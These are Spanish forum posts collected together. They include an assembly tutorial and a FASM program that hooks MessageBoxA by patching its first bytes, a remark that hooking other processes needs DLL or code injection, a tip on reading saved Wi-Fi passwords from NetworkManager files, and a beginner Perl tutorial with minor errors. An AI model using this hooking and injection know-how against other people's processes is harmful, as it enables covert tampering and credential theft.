       push eax     ; Introducimos la direccion de retorno original

       mov edi, edi    ; Ejecutamos los 5 primeros bytes originales de la API
       push ebp
       mov ebp, esp

       mov ebx, [dirfun]   ; Calculamos el salto hacia la API original
       add ebx,5

       jmp ebx           ; Saltamos a la direccion de la API original + 5 bytes

       ret
   endp

.end start

Ejecutamos nuestro programa y veremos que solo cantará lo que nosotros queramos.  



¿Pero, como puedo hookear una función que esta en otro proceso?

Estando en su mismo proceso, esto se puede conseguir inyectando nuestra DLL con el hook en el proceso o bién desde una inyección de código.

Bueno pues de momento eso ha sido todo, lo he intentado explicar de manera simple y para que se entienda bien.

Decir también que los ejemplos han sido desarrollados y probados en una máquina x64 con Windows 7.

Cualquier duda o colsulta será respondida gustosamente.

saludos!

Bueno pues el caso es que cuando cargo mi programa hecho en FASM para debuguearlo antes me carga una serie de instrucciones y unos SYSENTER que no los he programado yo y de hecho en ocasiones nisiquiera salen las instrucciones verdaderas que yo programe o ni aparecen 

alguien sabe algo?

saludos.

Bueno, pues como esta la cosa muy parada y viendo una interesante pregunta que han realizado hace poco (esta), he pensado que se podría realizar un concurso en el que los usuarios tendrían que desarrollar un software de compresión/descompresión, en el que, el algoritmo que mas comprima los archivos gana.

Reglas:

-El código tiene que ser liberado.
-No vale usar librerías de terceros.

¿Os animáis?

[/etc/Network Manager/system-connections/]

Seguro que mas de uno se lo a preguntado, tienes que conectar algún otro aparato que no sea el PC al WIFI y no tienes a mano el router  

Bien, a mi me paso y por suerte encontré la solución. Se guarda en la siguiente ruta:

/etc/Network Manager/system-connections/

Dentro de ella aparecerán los archivos con los nombres de las redes a las que nos hemos conectado, basta con abrir el archivo de nuestra red y encontraremos toda su configuración e información.

Código [Seleccionar] Expandir


[connection]
id=NOMBRE_DE_LA_RED
uuid=XXXXXXXX-0e74-4e4b-a363-XXXXXXXX
type=802-11-wireless

[802-11-wireless]
ssid=WLAN_XXXX
mode=infrastructure
mac-address=00:19:XX:XX:XX
security=802-11-wireless-security

[802-11-wireless-security]
key-mgmt=wpa-psk
auth-alg=open
psk=CONTRASEÑA

[ipv4]
method=auto

[ipv6]
method=auto


Espero que a alguien le sirva.

saludos!

Bueno este código lo tenía por ahí de hace un par de años, y al final lo voy a perder así que aquí os lo dejo por a alguien le sirve.

Código (asm) [Seleccionar] Expandir

; Programado por mDrinky o Juan fary.
; drinky.94@hotmail.com

include 'win32ax.inc'

; Instrucciones a las que es capaz de sacar la longitud.

; mov esp,ebp                          = 0x8B  2 bytes
; push ebp                             = 0x55  1 byte
; mov Reg,DWORD                        = 0xB8 + Registro   5 bytes
; ret                                  = 0xC3 1 byte
; ret Numero                           = 0xC2 2 bytes
; mov dword[Direccion],Numero          = 0x83 7 bytes

.data
    DLL   db 'USER32.DLL',0
    API   db 'MessageBoxA',0
    MsgHook   db 'Api Hookeada',0

    ApiBuena   dd ?
    CanSalto   dd ?
    oPer   dd ?
    Salto   dd ?

.code
start:
    invoke LoadLibraryA,DLL
    invoke GetProcAddress,eax,API
    mov [ApiBuena],eax

    push MiFuncion
    Call Hookear

    push 0
    push 0
    push 0
    push 0

    call [MessageBoxA]

    push 0
    call [ExitProcess]


MiFuncion:
    pop ecx

    add esp,0xC

    push 0
    push 0
    push MsgHook
    push 0

    push ecx

    ApiVerdadera:
    db 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90

    push eax

    mov eax,[ApiBuena]
    add eax,[CanSalto]
    mov [Salto],eax

    pop eax

    jmp [Salto]


proc Hookear,FunHook

    mov ecx,0

    NumOpcode:

    cmp byte[eax],0x8B
    jne NoOp1

    add ecx,2
    add eax,2

    NoOp1:

    cmp byte[eax],0x55
    jne NoOp2

    add ecx,1
    add eax,1

    NoOp2:

    cmp byte[eax],0xB8
    jb NoOp3
    cmp byte[eax],0xBD
    ja NoOp3

    add ecx,5
    add eax,5

    NoOp3:

    cmp byte[eax],0xC3
    jne NoOp4

    add ecx,1
    add eax,1

    NoOp4:

    cmp byte[eax],0xC2
    jne NoOp5

    add ecx,2
    add eax,2

    NoOp5:

    cmp byte[eax],0x83
    jne NoOp6

    add ecx,7
    add eax,7

    NoOp6:

    cmp ecx,5
    jb NumOpcode

    mov [CanSalto],ecx

    invoke VirtualProtect,[ApiBuena],20,PAGE_EXECUTE_READWRITE,addr oPer
    invoke VirtualProtect,ApiVerdadera,20,PAGE_EXECUTE_READWRITE,addr oPer

    mov eax,[ApiBuena]
    mov edx,ApiVerdadera

    mov ecx,0

    GuardarBytes:
    mov bl,byte[eax+ecx]
    mov byte[edx+ecx],bl

    inc ecx

    cmp ecx,[CanSalto]
    jne GuardarBytes

    mov eax,[ApiBuena]

    mov byte[eax],0x68
    inc eax

    mov ebx,dword[FunHook]
    mov dword[eax],ebx

    add eax,4

    mov byte[eax],0xC3

    ret
endp

.end start

No recalcula todas las API pero si la gran mayoría.

saludos.

[Perl]

Debido a lo poco que se ve Perl en la sección me he decidido a escribir una pequeña introducción, ya que pienso que casi no se trata este lenguaje en esta sección, y es un lenguaje muy potente y flexible.

¿Como instalar el interprete de Perl?

Lo podemos descargar de aquí:

http://www.perl.org/get.html

Para Windows disponemos de dos interpretes ActiveState y StrawBerry. Personalmente uso ActiveState pero esto como todo, va por gustos.

Nota: En sistemas Linux esta instalado por defecto, así que no lo tendrás que instalar.

¿Ya  tengo instalado el interprete pero... Como ejecuto mis scripts?

En primer lugar todos los scripts en Perl tienen que tener la extensión .pl. Para ejecutarlo es tan facil como hacer doble clic sobre el script o bien desde la linea de comandos:

perl miscript.pl

Para probar podéis crear este pequeño script con el famoso mensaje "Hola Mundo!"

Código (perl) [Seleccionar] Expandir


#!/usr/bin/perl
print "Hola Mundo!"; # Imprimimos en pantalla el saludo


Aclaraciones rápidas sobre el script de arriba:

-Todas las lineas de código acaban con el punto y coma (';').
-Los comentarios se escriben con la almohadilla ('#')
-La linea 1 indica la ruta del interprete (En principio esto es solo necesario para sistemas Linux).

Dicho esto, ¡empecemos!.

Variables

Las variables se declaran con my y tienen que tener delante del nombre el símbolo del dolar ('$'). Además en este lenguaje no hay tipos de variables, es decir, se declara igual una variable que contiene un número que una que tiene una cadena.

Ejemplos de declaraciones de variables:

Código (perl) [Seleccionar] Expandir

#!/usr/bin/perl

my $cadena = "hola soy una cadena\n";
my $numero = 1;

my $n1 = 2;
my $n2 = 3;

print $cadena;

print $n1 + $n2 . "\n"; # suma e imprime los valores de las variables
print $n1 . $n2 . "\n"; # Concatena los numeros (Los tata como cadena)
print "$n1$n2\n";  # Otra forma de hacer lo de la linea de arriba

exit;


Algunos datos del código de arriba:

-En las lineas 3,11,12 y 13 vemos los caracteres '\n', dichos caracteres indican salto de linea.
-El operador punto (".") concatena cadenas (Si, el interprete se ha encargado de pasar el número a cadena antes de unirlo).
-La linea 12 hace exactamente lo mismo que la linea 13.
-exit termina la ejecución del script (Esto no es necesario ponerlo, pero es bueno saberlo.)


Arrays

Los arrays también se declaran con my, pero en vez de usar el dolar, se usa el arroba ('@').

Ejemplo de declaración de un array:

Código (perl) [Seleccionar] Expandir

#!/usr/bin/perl

my @array; # array sin inicializar
my @animales = ('Gato','Perro','Pez'); # array inicializado

print "$animales[0]\n"; #imprimimos el primer elemento del array 'Gato'
print "$animales[1]\n"; #imprimimos el segundo elemento del array 'Perro'

Aclaraciones:

-El primer elemento de un array es el 0, no el no como podemos comprobar en la linea 6.
-Para acceder a los elementos se usa el simbolo del dolar ($animales[0]).

En Perl existen funciones como push o pop, para manejar los arrays.

push introduce elementos al array y pop los saca, ejemplo:

Código (perl) [Seleccionar] Expandir

#!/usr/bin/perl
my @animales = ('Gato','Perro','Pez'); # array inicializado

print "El ultimo animal de la lista es el: $animales[2]\n";

push @animales,"Foca";

print "Ahora el ultimo animal es: $animales[3]\n";

pop @animales;
pop @animales;

print "Ahora el animal $animales[3] no esta\n";
print "El ultimo animal ahora es: $animales[1]\n";


Hay muchas mas funciones, podemos encontrar algunas más explicadas aquí

Operadores aritméticos

Esto suele variar poco de un lenguaje de programación a otro.

Suma: +
Resta: -
Multiplicación: *
División: /
Potencia: **
Residuo de una operación: %

Perl, puede convertir número a cadena y viceversa, ejemplo:

Código (perl) [Seleccionar] Expandir

#!/usr/bin/perl
my $n1 = 5;
my $n2 = 3;

my $c1 = '5';
my $c2 = '5';

print "Trata los numeros como cadena: $n1$n2\n"; # devolvera 85
print $c1 + $c2 . "\n"; # devolvera 10

También existen, al igual que en C y C++ los operadores de incremento y decremento:

Código (perl) [Seleccionar] Expandir

my $var = 1;
$var++; # Incremento en uno el valor de la variable
print $var . "\n";
$var--;   # Decremento en uno de valor de la variable
print $var . "\n";

Operadores Lógicos

and: &&
or: ||
not: !

Estos operadores se usan casi siempre como complemento de la sentencia if, pero en ese lenguaje tienen otros usos como por ejemplo indicar errores:

Código (perl) [Seleccionar] Expandir

open(FILE,"archivo.txt") || die("No se puedo abrir el archivo");

En este caso si no abre el archivo muestra el mensaje de error.

if

Esta sentencia nos sirve para controlar el flujo del programa, ej:

Código (perl) [Seleccionar] Expandir

#!/usr/bin/perl

my $var = 1;

if ($var == 1) # sentencia if
{
   # si $var es igual a uno se ejecuta lo que esta aqui
print "\$var es igual a 1\n";
}else{
   # si no es igual a uno se ejecuta esto
print "\$var NO tiene valor 1\n";
}

system("PAUSE"); # con system enviamos comandos al sistema

En las lineas 8 y 11 aparece un '\' delante de $var, ese símbolo es de escape, si no estuviera nos motraría el valor de la variable:

Código (perl) [Seleccionar] Expandir

#!/usr/bin/perl

my $var = 1;

print "$var\n";
print "\$var\n";

system("PAUSE");

Con la función system enviamos un comando al sistema, en este caso (para Windows) realiza una pausa, si no pusiéramos la línea system("PAUSE") al ejecutarse el programa la consola desaparecería.

También podemos realizar comparaciones de esta manera:

Código (perl) [Seleccionar] Expandir

if (Comparacion) # se realiza la comparacion
{
}elsif (comparacion) # si no se cumple la de arriba se vuelve a ralizar otra comparacion
{
}elsif (Comparacion)  # Si no se cumple la de arriba de vuelve a realizar otra comparacion
{
}else{ # Si no se cumple ninguna de las anteriores se ejecuta esta

}

Ejemplo práctico:

Código (perl) [Seleccionar] Expandir

#!/usr/bin/perl

my $var = 1;

if ($var == 2) # se realiza la comparacion
{
print "Es igual a 2\n";
}elsif ($var == 3) # si no se cumple la de arriba se vuelve a ralizar otra comparacion
{
print "Es igual a 2\n";
}elsif ($var == 3)  # Si no se cumple la de arriba de vuelve a realizar otra comparacion
{
print "Es igual a 2\n";
}else{ # Si no se cumple ninguna de las anteriores se ejecuta esta
   print "No es igual a ninguna de las anteriores\n";
}

system("PAUSE");

Ahora vamos a ver los operadores de los que disponemos para realizar dichas comparaciones:


Tipo              Númerico   Cadena
Mayor A            >               gt
Menor A             <              lt
Igual A            ==              eq
No Igual A            !=            ne
Menor o Igual A     <=           le
Mayor o Igual A     >=          ge


No podemos comparar una cadena con el equivalente numerico ni viceversa, ej:

Código (perl) [Seleccionar] Expandir

my $c1  = "hola";
my $c2  = "adios";

my $n1 = 1;
my $n2 = 2;

if ($c1 eq $c2) # sentencia CORRECTA
{
   # Si son iguales de ejecuta
}

if ($c1 == $c2) # sentencia ERRONEA
{
   # Si son iguales de ejecuta
}

if ($n1 eq $n2) # sentencia ERRONEA
{
   # Si son iguales de ejecuta
}

if ($n1 == $n2) # sentencia CORRECTA
{
   # Si son iguales de ejecuta
}

for

Los bucles for se pueden usar como en C:

Código (perl) [Seleccionar] Expandir

for (my $i = 0; $i<10; $i++) # se repite 10 veces
{
    print "$i \n";
}

O de esta manera, mas característica de este lenguaje:

Código (perl) [Seleccionar] Expandir

for my $i (1..10) # Se repite 10 veces
{
   print "$i\n";
}

while

Este bucle se repite hasta que la sentencia sea falsa, de tal manera que esto:

Código (perl) [Seleccionar] Expandir

while (1)
{
   print "while!\n";
}

Sería un bucle infinito.

Otro ejemplo que suma tres números:

Código (perl) [Seleccionar] Expandir

my $i = 0;
my $num = 0;

while ($i<3)
{
   $num = $num + <STDIN>;
   #$num += <STDIN>; # esta linea hace exáctamente lo mismo que lo de arriba.    
   $i++;
}

print "Suma totalde los numeros: $num\n";

<STDIN> lo que hace es leer datos de entrada.

[MM +AA +DD---MAD]

Cada letra tiene un valor, averigua el valor de las letras mediante un algoritmo.

MM +
AA +
DD
---
MAD

El objetivo es sumar las filas y las columnas de una matriz (5x5) que será introducida por el usuario, ej.

Código [Seleccionar] Expandir

   Introduzca fila 1: 2 5 3 4 5
   Introduzca fila 2: 2 6 8 4 5
   Introduzca fila 3: 9 8 3 5 2
   Introduzca fila 4: 5 3 8 5 6
   Introduzca fila 5: 0 1 4 3 4
   Totales filas    : 19 25 27 27 12
   Totales columnas : 18 23 26 21 22

Veamos quien lo resuelve de mejor manera  

Feliz dia de reyes

Alguien sabe como puedo obtener el nombre de la aplicación que esta escuchando un puerto?

un saludo.

Hola,

Os explico, tengo un Nokia Lumia 920 con Windows Phone 8 y quiero instalar WhatsApp pero no lo consigo. Lo instalo bien pero luego a la hora de introducir mi numero de teléfono cuando le doy a siguiente me sale un mensaje de error diciendo lo siguiente:

"No se pudo conectar con WhatsApp. Por favor confirme su configuración de red y reintente mas tarde."

Me estoy volviendo loco y no doy con la solución, a alguien le a ocurrido?

un saludo!